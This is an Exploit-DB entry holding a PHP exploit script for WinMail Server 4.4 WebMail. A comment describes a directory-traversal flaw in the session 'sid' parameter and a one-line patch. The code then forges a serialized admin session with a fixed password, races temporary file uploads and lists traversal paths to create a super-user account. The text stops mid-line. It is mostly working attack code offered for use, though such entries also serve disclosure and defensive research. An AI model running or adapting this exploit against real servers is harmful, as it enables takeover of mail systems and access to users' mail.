Exploit-DB #3622
Description: WinMail Server 4.4 build 1124 - 'WebMail' Remote Add Super User
Type: webapps
Platform: php
Date: 2007-04-01
Author: rgod

Exploit:
<?php
/*  WinMail Server 4.4 build 1124 (WebMail) remote add new Super User exploit
 *  by rgod
 *
 *  software site: http://www.magicwinmail.net/download.asp
 *
 *
 *  vulnerable code in /inc/class.session.php at lines 8-25:
 *  ...
 *	 function Load() {
 *		$result      = Array();
 *
 *		$sessionfile = $this->temp_folder."_sessions/".$this->sid.".sess";
 *		if(!file_exists($sessionfile))
 *			return false;
 *
 *		$size = filesize($sessionfile);
 *
 *		$fp = fopen($sessionfile, "rb");
 *		if ($fp){
 *			$result = fread($fp, $size);
 *			fclose($fp);
 *		}
 *		$result = unserialize(base64_decode($result));
 *
 * 		return $result;
 *	}
 * ...
 *
 * This function should check for session files located	in /temp/_sessions
 * folder outside of the www path. But the "sid" argument is not checked
 * for directory traversal attacks. So you can supply a path to an arbitrary
 * file, ex: a temporary uploaded file with well crafted content.
 *
 * phpinfo() shows that the value for upload_tmp_dir is not set, so the folder
 * used to store this files becomes /windows/temp or /winnt/temp.
 *
 * also magic_quotes_gpc = off and open_basedir is not set, so...
 *
 * http://target:6080/admin/main.php?sid=../../../../../../windows/temp/phpFFFF.tmp%00
 *
 * set the magicwinmail_session_id cookie to the same value and you will have admin
 * access!
 *
 * This script uploads a large amount of temporary files to quickly reach
 * the ffff index and quickly call the main script before the temporary file is deleted
 * to set a new Super User account.
 *
 * Possible patch:
 *
 * ...
 * $sessionfile = $this->temp_folder."_sessions/".basename($this->sid).".sess";
 * ...
 *
*/

if ($argc<2) {
    print_r('
Usage: php '.$argv[0].' host OPTIONS
host:      target server (ip/hostname)
Options:
 -p[port]:    specify a port other than 6080
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost -P1.1.1.1:8080
php '.$argv[0].' localhost -p81
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],(int)$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function sendii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex, $ssock;
  if ($proxy=='') {
    $ssock=fsockopen(gethostbyname($host),$port);
    if (!$ssock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ssock=fsockopen($parts[0],$parts[1]);
    if (!$ssock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ssock,$packet);
}

$host=$argv[1];
$path=$argv[2];
$port=6080;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

$____suntzu=array();
$____suntzu["user"]="admin";
$____suntzu["pass"]="suntzu";
$____suntzu["usertype"]="0";
$____suntzu["adminrange"]="";
$____suntzu["auth"]="1";
$____suntzu["start"]="[PII_REDACTED]";
$____suntzu["initconfig"]["mailstore_directory"]="C:\\";
$____suntzu["initconfig"]["netstore_driectory"]="C:\\";
$____suntzu["initconfig"]["postmaster_address"]="postmaster@server.com";
$____suntzu["initconfig"]["congratulate_subject"]="welcome";
$____suntzu["initconfig"]["congratulate_content"]="hi";
$____suntzu["initconfig"]["ldap_base_dn"]="o=magicwinmail";
$____suntzu["initconfig"]["ldap_root_dn"]="o=magicwinmail";
$____suntzu["initconfig"]["ldap_root_pwd"]="[PII_REDACTED]";
$____suntzu["initconfig"]["allow_webadmin"]="1";
$____suntzu["initconfig"]["idle_timeout"]="1800";
$____suntzu["initconfig"]["enable_cookies"]="";
$____suntzu["initconfig"]["smtp_server"]="127.0.0.1";
$____suntzu["initconfig"]["smtp_port"]="25";
$____suntzu["initconfig"]["ldap_server"]="127.0.0.1";
$____suntzu["initconfig"]["ldap_port"]="309";
$____suntzu["initconfig"]["register_user_total"]="20";
$____suntzu["mainpage"]="1";
$____suntzu["accountstatus"]="2";
$____suntzu["expiretime"]="2592000";
$____suntzu["searchtype"]="";

$my_magic_string=serialize($____suntzu);
$my_magic_string=base64_encode($my_magic_string);

echo "magic string -> ".$my_magic_string."\n";

//fill with possible locations
$my_path=array("../../../../../../winnt/temp/",
               "../../../../../../windows/temp/",
	       "../../../../../winnt/temp/",
               "../../../../../windows/temp/");

$my_fi